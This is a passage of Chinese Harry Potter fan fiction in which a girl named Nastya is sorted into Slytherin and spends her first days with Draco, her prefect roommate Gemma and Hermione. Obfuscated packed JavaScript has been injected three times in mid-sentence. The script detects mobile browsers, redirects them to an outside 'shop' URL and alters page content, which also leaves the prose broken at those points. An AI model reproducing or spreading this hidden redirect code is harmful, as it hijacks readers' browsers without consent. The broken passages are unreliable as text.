娜斯缇亚梦游般沿着那些新生为自己让开的方向走,坐到斯莱特林长桌上。没挨着任何人。 她浑浑噩噩,脑子只剩下一个念头:她的所有朋友都会去格兰芬多。 除了她。 一名斯莱特林。 可是,为什么偏偏是斯莱特林? 她不想和任何朋友对视,包括赫敏——娜斯缇亚能感觉到她一直在看自己。 分院还在继续,她却已听不进任何声音。 “为什么一直低着头不说话?你傻了?”再次听见声音的时候,右侧已经坐了个人。 又是那个金色脑袋。 “我刚刚看到你和那个韦斯莱走在一起,你也是纯血吗?” 娜斯缇亚不知道他是什么时候到自己这来的,但是听到这句话,摇了摇头:“如果你是问我父母的家族,他们都是混血巫师。” “那么,你父母都是巫师?”他问。 娜斯缇亚点点头。 男孩露出一个稍显失望的表情,很快又被轻蔑取代:“算了,总比麻瓜好。要我看,这些麻瓜出身的学生就不应该入学。” 娜斯缇亚被这种言论吓了一跳。 不远处,几个高年级学生对他们怒目而视,她根本顾不上悲伤了,赶紧岔开话题:“你还没做自我介绍。” 她可不想入学第一天就被标记为纯血主义者。 “什么?刚刚我说话你是真的没听到吗?”他似乎认为她很笨,皱着眉头说,“马尔福,德拉科·马尔福。” “哦,天龙座,是吗?不错的名字。”娜斯缇亚下意识接话。 德拉科白得过分的脸上泛起淡淡的红晕。 “很少有人注意到我的名字。”他说,“他们总是过分注意我的姓氏。” “呃,你自己不也强调了两遍吗?” “……” 娜斯缇亚看着他僵硬的脸,不得不补充了一句:“这也很正常,你们家很有钱,也很有名气。” 11. 第 11 章 虽然从记事开始,娜斯缇亚听到过的所有对马尔福家的评论,都不怎么正面。 但这位马尔福本人显然意识不到。 “那是自然,能认识一位马尔福是你的荣幸。”德拉科抬了抬下巴,“为了我们之间更友好的交流和往来,你可以直接喊我的名字。” 娜斯缇亚开始后悔刚刚这么说了。 正当她苦恼于怎么敷衍这个眼高于顶的同学时,原本坐在她斜对面,隔了两个位置的格林格拉斯小姐过来跟她搭话了。 “别理他,他说话总是这么没礼貌。你好,我是达芙妮·格林格拉斯。”达芙妮的头发也是金色的,不过她们谁的金发都不及德拉科那个灯泡脑袋扎眼。 “你好,我是娜斯缇亚·格雷。” 斯莱特林陆续又分来了几个新生,都围坐在德拉科附近。他们应该彼此认识,熟稔地谈话。 就在这时候,麦格教授叫了哈利的名字。 娜斯缇亚抬起头去看。 整个礼堂的人都在看他。 他戴着帽子坐了好一会,久到下面的学生开始窃窃私语。 “不会是哪里都不要他吧。他最好去赫奇帕奇,或者格兰芬多。”德拉科语气的幸灾乐祸和怨气又使娜斯缇亚吃了一惊。 她还没听过有谁用这样的语气提起过哈利。 “不过,格雷,你刚刚也在那坐了好一会。”他忽然将话题扯到了她的身上,“分院帽和你说了什么?” 他一问,附近的几个新生也一齐看过来。 娜斯缇亚不大喜欢被别人这么盯着。 “它在想让我去拉文克劳还是来斯莱特林。” 德拉科露出一个意料之外的表情:“看不出来。”看样子他认定了她不聪明。 娜斯缇亚懒得解释,将注意力重新放回哈利身上。 分院帽也在这时做出了决定:“格兰芬多!” 一时间,格兰芬多的长桌上掌声轰鸣。 在她的意料之中。 但她清清楚楚地听见弗雷德和乔治兴奋的起哄声,感到更加失落和郁闷。 德拉科扭头看了她一眼,挑眉问道:“你不高兴吗?” “高兴什么?我的朋友都和我分开了。”娜斯缇亚直言。 “朋友?你和那个自恃甚高的波特是朋友?”德拉科瞬间就变了表情,“不要告诉我,你的朋友都是愚蠢的格兰芬多。” 娜斯缇亚没忍住,反驳道:“难道你这辈子就只和斯莱特林出身的人交朋友吗?” “……”德拉科深深地看了她一眼,“我想你之后会明白,什么人才更适合当朋友。” 娜斯缇亚注意到似乎又有人在看着自己,下意识迎上他的目光。 是一个蓝眼睛的男孩。 他似乎一直没说话,她并不知道他叫什么。 见他收回目光,娜斯缇亚也重新低下头。 直到达芙妮身边的女孩向她搭话。 “嘿,格雷,你的头发颜色和德拉科真像,这很罕见。你是在哪染的吗?”潘西·帕金森用一种不大客气的语气开口。 这句话有些冒犯,但娜斯缇亚不太在意:“我妈妈是金色头发,我遗传她。” 潘西看起来似乎有些遗憾。 “你想染头发吗?我觉得你现在的发色挺好的。”娜斯缇亚说。 潘西似乎愣了愣,达芙妮则投来一个感激的眼神,顺着她的话说道:“我早就说啦,你没必要换发色。” 也许是因为潘西的头发也蓬蓬的,和赫敏有些相似,娜斯缇亚点点头,不可避免地想起朋友。 当然,她对斯莱特林其实没什么意见,但这不代表她能平静地接受,自己从小到大的所有朋友一下子全都“呼啦啦”地跑去了同一个地方。 只留她一个人在这里。 只要想到她和赫敏没法再躺在一张床上,没法随时随地听那道柔和的声音给自己说魔法史,娜斯缇亚就觉得沮丧极了。 可是,德拉科那个没眼力见的非要在这时破坏她的情绪。 “那你爸爸的头发是什么颜色?” “棕色。”娜斯缇亚冷冷地回答。 “你应该感到幸运。”德拉科撇撇嘴,“金色比棕色好看多了。” 达芙妮见朋友的表情黯淡下来,狠狠翻了个白眼:“是啊,前提是别往上面抹那么多的发胶。” 他可真不会讲话。 娜斯缇亚在心底叹了口气,把注意力留到上台的罗恩身上。 说实话,她觉得这毫无悬念,他只可能是个格兰芬多。 想起罗纳德之前似乎说过“去不了格兰芬多,拉文克劳也不错”这种话,那时弗雷德和乔治就在嗤嗤发笑。梅林啊,在听完分院帽的歌以后,他应该再也说不出这种话了。 事实证明,她的判断又一次正确。 不过,在罗恩奔向格兰芬多长桌的时候,娜斯缇亚的心情有多糟糕,德拉科的冷哼就有多响亮。 不知道他哪来的这么多不顺意。 退一万步来说,关他什么事呢? 娜斯缇亚烦躁地想。 随着最后一位新生布雷斯·扎比尼在斯莱特林长桌坐下,麦格教授带着分院帽离去了。而霍格沃茨的校长——阿不思·邓布利多站了起来。 他穿着一身紫色巫师袍,白花花的胡子盖在胸前,看起来威严又慈祥。 “欢迎大家来到霍格沃茨开始新的学年!在宴会开始前,我想讲几句话。” 娜斯缇亚收起情绪,认真地注视着他。 “那就是:笨蛋!哭鼻子!残渣!拧!谢谢大家!” ??? 他在说什么? 也许是她眼里的不解太过明显,达芙妮笑出了声。 见娜斯缇亚看向自己,她连忙解释:“抱歉,我没有嘲笑的意思……我是说,你的表情真可爱。” 而德拉科再次向所有人展示了他那目中无人的恶劣性格:“怎么?你不会以为他嘴里能说出什么至高至上的道理吧。我爸爸说,他就是个老疯子。” 娜斯缇亚没理他,跟着其他人轻轻鼓掌。 这时,面前的长桌突然摆满了吃的。 根据甘普基本变形法则,食物是不可以变出来的,但它们这样突然出现在长桌上,还是引起不少新生的惊呼。 “真是少见多怪。”德拉科不耐烦地皱起眉毛。 “格雷,你不饿吗?”达芙妮关切地看着正发着呆的娜斯缇亚。 “不,我饿极了。”她回过神来,夹了一些牛排和烤马铃薯到自己的盘子里。 德拉科正和他的朋友们絮絮叨叨地谈论暑假一起看的魁地奇比赛。 附近的新生只有娜斯缇亚和那个蓝眼睛男孩不大说话。 但德拉科不知出于什么原因,在她看了两眼离得稍远的鸡翅时,伸手帮忙拿了一只过来。 娜斯缇亚只好向他道谢。 “你为什么总是不说话?简直和西奥多一样。”德拉科问,“你对魁地奇不感兴趣?” “我在想别的事。” 德拉科要是知道自己和一堆麻瓜一起长大,一定会沉默地离她三尺远。娜斯缇亚有些恶趣味地想。 德拉科看起来想说些什么,但就在这时候,他们中间“噌”地冒出来一个幽灵。 他穿着沾满血迹的银色长袍,身上缠着锁链,形容枯槁。 德拉科惊得牛排都掉回了盘子,娜斯缇亚看见他下意识地往另一边挪了挪。 这引起了幽灵的不满。不过他的心情似乎还不错,没和德拉科计较。 看来这就是斯莱特林的常驻幽灵——血人巴罗。 伊丽莎白不止一次和她说过他的坏话,因为他杀死了拉文克劳学院创始人的女儿海莲娜·拉文克劳——也就是拉文克劳的常驻幽灵格雷夫人(也不知道这种事她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437140|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么知道的)。 “晚上好,先生。”但她还是礼貌地和巴罗打了个招呼。 德拉科用看外星人的眼神看她。 “新面孔。”巴罗打量着所有新生,“希望你们今年也能努努力。迄今为止,斯莱特林在学院杯这个奖项上已经六连冠了。” 他似乎打定主意在娜斯缇亚和德拉科中间坐着了。对于此,德拉科怨气十足,却敢怒不敢言。 娜斯缇亚却很高兴。 感谢梅林,感谢这位幽灵先生,他终于闭嘴了。 正餐吃完之后,餐桌换上了许多甜品。 娜斯缇亚面前摆着她和赫敏最爱的冰淇淋松饼——梅林知道这一刻她有多想念自己的朋友。 她最后吃了一点布丁就放下了叉子。而血人巴罗一直盯着她看。 “你叫什么名字?”他问。 “娜斯缇亚·格雷。” 巴罗的眼珠转了转(说实话,这看起来很骇人)。 “你是伊丽莎白·格雷的女儿?”他居然说。 “是的。”娜斯缇亚感到非常意外,“您还记得我妈妈?” “你比你妈妈规矩多了,也更有出息——要知道,不是每个人都有殊荣分到斯莱特林。” 在他那双冰冷的眼睛的注视下,娜斯缇亚只好硬着头皮点点头。 巴罗说完这几句话之后,就不再和任何人搭话了。他远远地望着礼堂门口,娜斯缇亚知道,那是海莲娜·拉文克劳离去的方向。 在大家饱餐一顿后,邓布利多教授再次站了起来,表示自己还有话要说。 “……几点注意事项。一年级新生注意,学校场地上的那片禁林禁止任何学生进入。我们有些高年级的同学也要好好记住这一点。” 他的眼神扫过格兰芬多长桌,娜斯缇亚敢肯定,他一定是在看弗雷德和乔治。 他们总是在寄给自己的信里提到各种冒险,“禁林”这两个单词的出场频率一点也不比“密道”少。 “管理员费尔奇先生也要我提醒大家,课间不要在走廊施魔法。” 娜斯缇亚心不在焉地听他提起魁地奇的选拔工作。 直到他忽然沉下嗓子:“凡不愿遭遇意外、痛苦惨死的人,请不要进入四楼靠右边的走廊。” 老实说,她觉得这句话简直像是在吸引那些不规矩的学生——嘿,四楼走廊有些秘密,你们想知道吗? 娜斯缇亚甚至怀疑,今晚弗雷德和乔治就会跑过去一探究竟。 “现在,在大家就寝前,让我们一起来唱校歌!” “校歌?” 娜斯缇亚甚至还没反应过来,就看见邓布利多教授轻轻一弹魔杖,一条长长的金色彩带飞出来,在教师们的餐桌上空扭动着,组成一行文字。 酷。 她也想学学这招。 糟糕的是,邓布利多教授让大家选择自己喜欢的曲调唱歌,这导致了她的耳朵在一段时间受了不小磨难。 她假装动着嘴巴,东张西望。 她敢说他们的院长——斯内普教授,那个好像半个月都没洗头的冷脸黑袍巫师也选择了一样的敷衍办法。 而德拉科抱着双臂,环视着周围所有在认真唱歌的学生,鼻子里喷出一声冷哼。 他隔着巴罗看了娜斯缇亚一眼,似乎在嘲笑她的阳奉阴违。 从斯内普教授身上收回目光,娜斯缇亚看到一个同样冷着脸的女孩。 她的气质和斯内普教授十分相像——清冷、神秘、强大,却又有着本质上的区别。她的胸前别着和珀西相似的级长徽章,银绿配色。 说到珀西…… 娜斯缇亚终于鼓起了勇气,看向格兰芬多长桌。 赫敏和哈利一左一右地挨着珀西。 赫敏正兴致勃勃地跟着唱歌,嘴巴一张一合。 她总是精力旺盛又活力十足。 像一只森林野兔。 12. 第 12 章 很难想象,校歌这种歌词,弗雷德和乔治这两个家伙竟然用《葬礼进行曲》的曲调在唱。 全校师生七零八落的歌声在他们的《葬礼进行曲》中结束。 德拉科又在翻白眼,而邓布利多教授已经宣布学生们可以各自回寝室了。 斯莱特林的其中两位级长立刻走到新生们面前。 刚刚娜斯缇亚注视过的那个黑头发女孩也是其中之一。只见她环顾一圈,先开了口:“谁是娜斯缇亚·格雷?” 娜斯缇亚疑惑地举起手。 “你跟我过来一下。”她说。 娜斯缇亚一头雾水,却下意识跟上她走到队伍的最后面。 她们跟着人群走出礼堂。 门厅有两扇门通往地下,斯莱特林的学生排在左边那扇门前,而赫奇帕奇的学生排在右边。 但是,和所有学院都不同的是,斯莱特林的公共休息室在地下。准确地说,是在湖底——就是新生们刚刚坐船来的那片湖。 那位男级长介绍着,推开那通往地下的门,带着他们继续向前走。 也就是在这个时候,黑头发女孩扯住娜斯缇亚,示意她跟上自己。 她们落在人群之后,拐了一个弯,走到一处没什么人的走廊。 娜斯缇亚几乎以为自己哪里得罪了她,而她现在就要将自己就地正法时,她忽然看着某个角落,说:“五分钟。” 话音刚落,弗雷德和乔治跳了出来。 “猫女巫,你让我们赚了4个西可。”他们得意地展示着自己的收获。 “就是你们两个赌我来斯莱特林?” “除了我们,还有谁这么了解你——”乔治说。 弗雷德拆穿了他:“乔吉,你明明是跟着我改的。” “有什么区别?”乔治不以为然地反问道。 他们两个一左一右地堵在娜斯缇亚面前,像两堵墙。 然后她听见弗雷德突如其来的一句指责。 “猫女巫,你真是太无情了。” ? 乔治接话道:“我们刚刚一直在看你,尤其是格兰杰。她都快把你的脑袋盯出洞了,结果你一直在和马尔福说话——小罗尼气疯了。” “我哪有一直在和他说话?罗纳德又在气什么?” 赫敏都没生气! “看,格兰杰说的是真的,她真的不知道。”弗雷德大笑一声。 “小罗尼和哈利在火车上和马尔福吵了一架。” “差点打起来。” 他们几乎是在幸灾乐祸。 娜斯缇亚目瞪口呆。 不敢相信真的有这样的傻瓜,还没到学校就结怨。 怪不得德拉科一整个晚上都像个蒸炉,嗤嗤往外冒气。 弗雷德似乎看热闹上瘾了:“说真的,那个马尔福,或者格林格拉斯,真的不是你家的什么亲戚吗?你们的头发和眼睛颜色简直一模一样,我敢打赌,好多人一定以为你们三个是兄妹呢。” “我家亲戚里有一堆麻瓜,你疯了?马尔福家可是纯血主义的铁杆拥护者。”娜斯缇亚翻了个白眼。 乔治学着娜斯缇亚下午的样子,揉了揉她的头发:“好了,这些都不重要。我们来是想告诉你,别太在意这件事。大家对这个结果都不怎么意外。” “是吗?那你们的西可是怎么赢的?”娜斯缇亚压根不吃他这套。 “得了吧,”弗雷德冷嘲热讽道,“这个世界应该只有罗尼和妈妈相信你会来格兰芬多。” “伊莱莎阿姨和金妮一起投了拉文克劳,但我敢说她是故意输的。”乔治说,“她不愿意相信两个拉文克劳的女儿居然不是拉文克劳。” 这倒非常有可能,尽管伊丽莎白不支持仅凭学院就笼统地划分性格,但她对拉文克劳的偏爱完全是显而易见的。 “想想吧,”弗雷德道,“我认识的所有拉文克劳都是固执己见的疯子。如果……” 弗雷德没能说完。 “你们两个说完没有?我要带她走了。走廊不剩几个学生了,如果被斯内普教授发现这还有个一年级,他一定会杀了我。”黑头发女孩去而复返,怒视着韦斯莱双胞胎。 “法利小姐,你们斯莱特林是真的不知道‘通情达理’这四个字怎么写。” “在我看来,你们格兰芬多也不明白什么叫‘适可而止’。”杰玛·法利神色毫不动摇地说。 话虽这么说,弗雷德和乔治还是立刻把娜斯缇亚推了出去。 不过,他们同时在她的口袋放了点东西。 “好了,格雷,我们得赶紧走了——别忘了你们答应的报酬。”杰玛严肃地说。 “放心吧。”弗雷德懒洋洋地摆摆手。 说实话,听起来真是十分不靠谱。 走廊几乎已经空无一人。 也许是害怕半路撞见她们的院长,杰玛的情绪一直很紧绷。而娜斯缇亚一路上都在记怎么转弯,一句话也没说。 这里简直像一个地下迷宫。她们一共下了十七个台阶,不断地直行、转弯,又转弯、直行。 终于,杰玛停在一堵石墙前面。 “银蛇——记住,这是这两周的口令。” 隐藏在面前石墙后的石门向她们徐徐敞开。 杰玛特地交代了一句:“千万别带韦斯莱下来这里。我们的休息室七个世纪没有外人来过了。” 娜斯缇亚点点头,跟着她往里走。 但她打心底觉得弗雷德和乔治应该不会喜欢这。 斯莱特林的休息室几乎是一间地下室,墙壁和天花板都由粗糙的石头砌成,泛着绿光的灯用链条束着,错落地从天花板垂下来。 华丽,却阴森。 但多亏了正前方那座大壁炉,里头并不冷。 至少比走廊暖和多了。 杰玛继续说道:“跟我来吧,你的寝室和我分到了一起。” 娜斯缇亚感到庆幸。 杰玛看起来聪明又安静,是一个理想的完美室友。 走进寝室,她由衷地“哇”了一声。 杰玛第一次对她露出微笑:“很美是不是?你可以拉开窗帘看看。巨乌贼,还有一些其他生物偶尔会经过我们的窗户。” 娜斯缇亚迫不及待地上前,拉开窗帘。 巧的是,一只类似章鱼的生物正在不远处舒展着自己的触手,从她的视野中飘然而去。 寝室里的灯光是正常的白色,房间里摆着三张四柱床,其中一张是空的。 床上罩着绿色和银色相间的帘子,床罩边缘也绣着银线。 娜斯缇亚打心底喜欢这样沉静的配色。 这可以帮助她更好地入睡。 “还没有正式自我介绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437141|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我叫杰玛·法利,是五年级的级长。你可以叫我杰玛。如你所见,这间寝室目前只有我们两个,希望接下来的两年时间,我们能和谐相处。” “好的,杰玛。” 娜斯缇亚又看了一眼幽深的湖底,将窗帘拉起来。 她打算收拾一下行李和自己,然后就赶紧睡觉。 但杰玛走过来,递给她一张羊皮纸:“你错过了希格斯的讲话,但欢迎新生的演讲稿是我写的,或许你想看看。” “谢谢。”娜斯缇亚展开羊皮纸,认真地看起上面的内容。 杰玛的文笔很好,遣词造句间自然流露的优雅甚至让娜斯缇亚有些惋惜——如果能亲耳听见她用清冷的语调念出这些句子就好了。 她将公共休息室形容为“神秘的,水底轮船失事的氛围”。娜斯缇亚很喜欢这个比喻,暗暗决定决定明天给伊丽莎白和金妮写信的时候就这么描述。 杰玛还在文章中抨击了其他学院对斯莱特林老掉牙的刻板印象:不少人坚信,分到斯莱特林的巫师天生就有变成邪恶巫师的危险倾向,对于这点,她的看法几乎与娜斯缇亚一致。 更令娜斯缇亚感到庆幸的是,杰玛不是一名纯血统主义者。 她还贴心地在演讲稿中提醒了大家血人巴罗的雷点,不过娜斯缇亚想,这有些迟了。 有个笨蛋在吃饭的时候已经问过了那个问题。 就在他问出“你身上为什么挂着链子和血?你以前是囚犯吗?”之后,娜斯缇亚感受到四周温度在急剧下降。 德拉科也打了个哆嗦,毫无风度地勒令对方不许再问。 娜斯缇亚还记得当时那位幽灵先生的表情。他死死地盯着那个不知死活的新生,这让他那张本来就不和蔼的脸更加渗人。 想到这,她不禁羡慕起拉文克劳和赫奇帕奇的学生。 至少他们学院的幽灵不会在吃饭的时候随便把自己的脑袋掰开,展示脖子上血肉模糊的断口;也不会凭心情降温,试图把两个无辜的学生冻死。 她将这篇文章看了两遍,才心满意足地讲羊皮纸卷起来,放回杰玛的桌上。 杰玛正背对着她整理行李。她也赶紧打开行李箱,把睡衣和教材扒出来,又将桌上的姓名标牌别到长袍上。 * 娜斯缇亚已经不记得自己是怎么入睡的了,只知道第二天早上有人掀开了自己的帘子,毫不留情地将被子揭开。 娜斯缇亚“嗷”地一声被冻醒了。 她看到杰玛面无表情(也许有点想笑)的脸。 “我记得一年级今天上午第一节有课,再不起你就来不及吃早饭了。” “几点了?”她不情不愿地坐了起来。 “八点。一年级第一堂课在九点开始。但是我想你应该要花一点时间找路。”杰玛顿了顿,还是问,“需要再带你走一遍吗?” 杰玛指的应该是底下几层那迷一样的走廊和石阶。 娜斯缇亚从床上一跃而起。 “不用了!我想我应该记住了。”她说,“谢谢你杰玛,你是我的救命恩人。” “你们今天上什么课?” 娜斯缇亚回想了一会:“上午是魔法史,下午是草药课。” “魔法史在二楼左手边,很好找。不过……”杰玛意味深长地看了她一眼,“上宾斯教授的课,你得留留神。” 13. 第 13 章 杰玛的话让娜斯缇亚整个早餐都吃得心不在焉。 她是第一个到教室的,坐下不久后,西奥多——那个沉默寡言的蓝眼睛男孩,只身一人走了进来,径直往教室后方走去。 娜斯缇亚以为没人会要坐在自己旁边,坦然地将书包放在右边的凳子上。 直到…… “把你的书包拿走,我要坐。” 某个金色脑袋停在她面前。 娜斯缇亚环顾四周,立刻明白了德拉科这么做的原因:布雷斯去找西奥多了,而潘西和达芙妮、克拉布和高尔两两坐在一起。 很显然,这就是高贵的马尔福少爷纡尊降贵地莅临这个位置的原因。 算了,坐就坐吧。 娜斯缇亚把书包塞进抽屉,再次发起呆。 到了上课的时间,宾斯教授从黑板后面飘了出来。 “酷。” 要是自己死后也能成为幽灵就好了,说不定可以代替血人巴罗成为下一届的斯莱特林常驻幽灵。娜斯缇亚想。 那她一定会克制住自己,尽量不在新生入学的第一晚就给他们留下凶神恶煞的负面印象。 或者像宾斯教授那样,给学生们教授课程也不错。 不知道拉文克劳的海莲娜女士有没有教授一门课程。 “这所学校真是什么‘人’都有。”德拉科又开始冷哼了。 娜斯缇亚看了他一眼。 为什么第一节课不是变形课呢?这样她就可以考虑怎么把他变成一只茶壶,或者蒸炉什么的。 遗憾的是,她对把德拉科捏圆搓扁的肆意幻想没能让自己敌过强烈的困意。 上课还不到半小时,娜斯缇亚就撑着脑袋睡着了。 但她没能睡太久。 德拉科把她戳醒了。 “你昨天晚上没睡吗?你怎么能在第一节课就睡觉?你这是在丢斯莱特林的脸。” “……” 娜斯缇亚强忍着怒气,瞥了一眼他的笔记本。 他居然真在认真记笔记(顺带一提字写得不错)。 不得不说,某种程度上他有超乎常人的毅力。 “看什么?我是不会把笔记借给你的。”德拉科立刻扯过书,把自己的笔记盖住。 娜斯缇亚忍无可忍,提笔在桌上画了一道线。 德拉科的表情从不屑转为困惑。 “从现在开始,你不许把手伸过这条线的范围。”她说,“继续认真听课吧,优等生。我要睡觉了。” 潘西和达芙妮在他们身后发出一阵笑声。 “什——难道你以为我是故意要碰到你吗?”德拉科的脸又泛起淡淡的红晕——要知道他皮肤有多苍白,一般这个时候他都已经气得不轻了。 娜斯缇亚懒得理他。 她向梅林发誓,自己已经尽量地打起了精神。可是宾斯教授的声音是那样单调乏味,她还是慢慢合上了眼皮。 她终于明白杰玛的告诫是什么意思。 * 娜斯缇亚不记得自己是怎么度过这节课的。 她只知道,一节课下来,她的书和笔记本,简直比脸还要干净。 然而,就在收拾书包站起来的时候,娜斯缇亚的长袍勾住了桌角。口袋的位置被挤压了一下,发出轻微的脆响。 她这才想起来,昨天弗雷德和乔治临走前在自己的口袋塞了东西。 她从左右口袋分别摸出一个纸团和一卷小纸条。 纸团里包着一颗柠檬糖。 娜斯缇亚下意识把糖重新收起来——这可不像是能吃的东西。 纸团上是乔治的字迹,上面只有一句话:“亲爱的猫女巫,请帮我们找珀西要五年级的变形课笔记。” “……” 他们不可能自己要用,唯一的解释就是,昨天杰玛提醒他们不能忘记的东西,就是优等生珀西的完美课堂笔记。 展开另一张纸条,熟悉的字体映入眼底。 “亲爱的娜缇: 我从珀西那里听说,明天上午格兰芬多和斯莱特林的一年级都只有一节课。如果可以的话,下课后我们在礼堂门口见面好吗? 你永远的好朋友 赫敏” 娜斯缇亚立刻把自己在桌上画的线条抹去,从座位弹了出去。 这一举动又引起了德拉科的不满。 “看她那副咋咋呼呼的样子,哪里像个斯莱特林?” 幸运的是,刚踏进走廊,娜斯缇亚就看见一个熟悉的、蓬松的棕色脑袋从不远处的教室走出来。 “赫敏!” 她像飞鼠那样猛地朝赫敏扑上去,从背后抱住对方。 赫敏看起来比她还惊喜:“娜缇!你也在这一层上课吗!你们刚刚在上什么课?” “宾斯教授的魔法史。说真的,我没听进去……不过他这节课讲的好像都是你之前和我说过的东西。”她有些不好意思地说。 赫敏笑了笑:“我之后上完课可以把笔记借给你。” 显然,她对“娜斯缇亚·格雷在历史课上认真听讲”这件事压根不抱有期望。 “那就太好了!我们现在去哪?”娜斯缇亚挽住她的手。 “图书馆。怎么样?我想去看看。”赫敏想了想,说。 娜斯缇亚立刻同意了,亲热地挽着赫敏的胳膊往上走。 一路上,她们都在讨论麦格教授精彩绝伦的变形课。 “你是说,整个班只有你成功让火柴变成了针?!这太酷了!” 赫敏红着脸,看起来有点羞涩,也有些骄傲。 “嘿……小声一点。” 娜斯缇亚捂着嘴点点头,但还是异常兴奋。 “你们下午上什么课?” “草药课。” “我们也是!” 很可惜,在对过时间后,她们发现格兰芬多的上课时间在斯莱特林之后。 娜斯缇亚决定下课后去草坪呆一会,然后去温室门口等赫敏。 “我听说,斯莱特林的休息室在湖底。” “我还挺喜欢休息室的,湖水拍打窗户的声音很催眠,休息室的壁炉也烧得很旺。我的室友是五年级的级长,话不多,不过她人很好。”娜斯缇亚提起了那封欢迎信。 “听起来写得比珀西好多了。”赫敏笑着说。 “你的室友呢,怎么样?” “帕瓦蒂和拉文德人都挺不错的。不过……”赫敏看着她,没有半犹豫地说,“我还是非常想你。哦,娜缇,我想先向你道个歉。事实上,分院帽昨天真的考虑过要把我分去拉文克劳。但是……” “哦,没关系。”娜斯缇亚笑了起来,“我昨天还要求它把我也分到格兰芬多呢。但它挺固执的——难怪伊莱莎说,这事我们说了不算。” “而且,”娜斯缇亚继续说道,“现在看来我们平时也有很多时间可以见面。我没有昨天这么难过了。” 赫敏立刻握住她的手。 “我知道,你一个人被分到斯莱特林,身边一个朋友都没有,一定非常难过。但罗恩非要说你一点也不难过,还说你和马尔福聊得正开心呢。他真是一个傻瓜。” “说到这个,弗雷德和乔治告诉我,他昨天在列车上和德拉科吵了一架?你知道这事吗?” “我后来去了一趟,但他们不愿意告诉我。不过,罗恩的那只老鼠似乎咬了某人一口。他们对此得意着呢。” “真有这回事?他们真幼稚。” 娜斯缇亚拽着赫敏走进图书馆,找了个位置坐下。 图书管理员平斯夫人正坐在入口的位置,她的脸像她的身材一样瘦削,严肃得有些冷漠的双眼从所有经过的学生身上扫过。 娜斯缇亚一眼就看出她绝对不好对付,拉着赫敏找了一个远离她视线的、靠窗的座位。 “我带了信纸,也许我们等等能去猫头鹰屋寄信。”放下书包后,赫敏说。 “可是我没带兔牙爱吃的零食。” 赫敏拍了拍口袋:“我带了。” 她们占好座位,各自去书架取感兴趣的书。 出于对变形课的期待,娜斯缇亚拿了一本《发挥想象力——从入门到变形大师》。 但她看完第一章就看不下去了。 “简直比课本还无聊。”她怏怏不乐地抱怨道,“想念我的麻瓜小说。” 赫敏正在奋笔疾书地写信,似乎没注意到她说的话。 娜斯缇亚只好利用剩下的时间,给伊丽莎白和金妮分别写了一封信。 她决定把写给金妮的信交给珀西,请他一起寄出去,顺便向他要变形课笔记。 作为交换,她可以承包赫梅斯这周的零食。 12点,两个女孩一起从图书馆离开。 她们在礼堂分开——如果赫敏光明正大地坐到斯莱特林长桌(或者反过来,娜斯缇亚这么做),德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437142|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉科一定会大惊小怪到整个午餐时间结束。 * 草药课比魔法史有趣多了。 斯普劳特教授十分博学,又和蔼可亲,她带着学生们穿梭在温室里,说起那些精心照料的植物时,声调抑扬顿挫,极富感染力。 这位女士给分也十分慷慨。在娜斯缇亚回答出三种可能影响影响日光兰生长的因素,还说出其中一种霉菌的产生原因和处理方式后,她大手一挥,给斯莱特林加上了15分。 “你是把课本背下来了吗?这么小的一行字你是怎么注意到的?”德拉科不死心地把课本提到日光兰的那页翻来覆去看了两遍,才找到相关的注解——还是一句概括。 “我从不死记硬背。”娜斯缇亚翻了个白眼。 “不管怎样,你给学院加了分。看来你也不是这么笨的。” “……”再次翻一个白眼。 娜斯缇亚很高兴一周能有三节草药课,目前为止,这绝对是她最喜欢的课程。 由于她在课后留下来,向斯普劳特请教关于蟹爪兰的培育问题,这位可爱的教授在耐心解答之后,热情地邀请她加入自己的草药研究小组。 娜斯缇亚欣然同意了。 “不管怎么样,我很高兴有学生领会到草药学的魅力,尤其还是斯莱特林的学生!你知道的,因为你们院长的关系,你们学院有不少学生都认为学好魔药比研究草药重要一百倍,这真是大错特错。”斯普劳特教授一边说,一边惋惜一盆刚刚被学生不小心压断枝叶的日光兰。 “我会把你的名字加上名单……斯莱特林的娜斯缇亚·格雷,对吗?” “好了,格雷小姐,你回去吧,塞德晚上会来找你的——名单在他那。他是赫奇帕奇最优秀的学生之一,全名是塞德里克·迪戈里,记住。” 娜斯缇亚记下这个名字,和斯普劳特教授告别,转身走出温室。 她决定去附近的黑湖边上坐坐,晒晒太阳。 意外的是,她在这里遇上了西奥多。 他正坐在树底下看书。 鉴于他们实在不熟,娜斯缇亚并没有上前打招呼。 她在湖边躺下,将书包垫在脑袋下,用手帕盖住脸。 周围很静,只有风吹动树叶的沙沙声,和湖水拍打着岸边石头的声音。 